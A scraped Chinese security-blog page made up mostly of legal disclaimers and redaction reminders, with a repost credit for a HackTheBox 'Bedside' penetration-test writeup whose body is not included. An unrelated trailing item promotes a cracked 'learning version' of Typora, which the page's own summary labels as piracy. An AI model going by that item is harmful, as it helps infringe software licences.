免责声明: 本文仅供安全研究和授权渗透测试参考。所有敏感信息(IP、Flag、密钥、密码)已脱敏。未经授权对他人系统进行测试属于违法行为。

微信公众号发布须知: 建议在发布前再次检查所有脱敏标记,确保没有遗漏敏感信息。所有 10.10.x.x 和 10.129.x.x 以及 ████ 标记的内容必须替换或保留为占位符。


作者:[脱敏] | 审核:[脱敏] | 发布日期:2026-07-19


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安之家-CyberHomestead 《Bedside HTB 渗透测试 Writeup — 从 PDF 反序列化到 Root》

typora1.14.9最新学习版 网络安全文章

typora1.14.9最新学习版

文章总结: 该文档推广Typora1.14.9最新学习版,暗示通过后台回复获取破解资源,属于推广盗版软件的行为。根据法律法规,使用和传播盗版软件侵犯知识产权,存
评论:0   参与:  0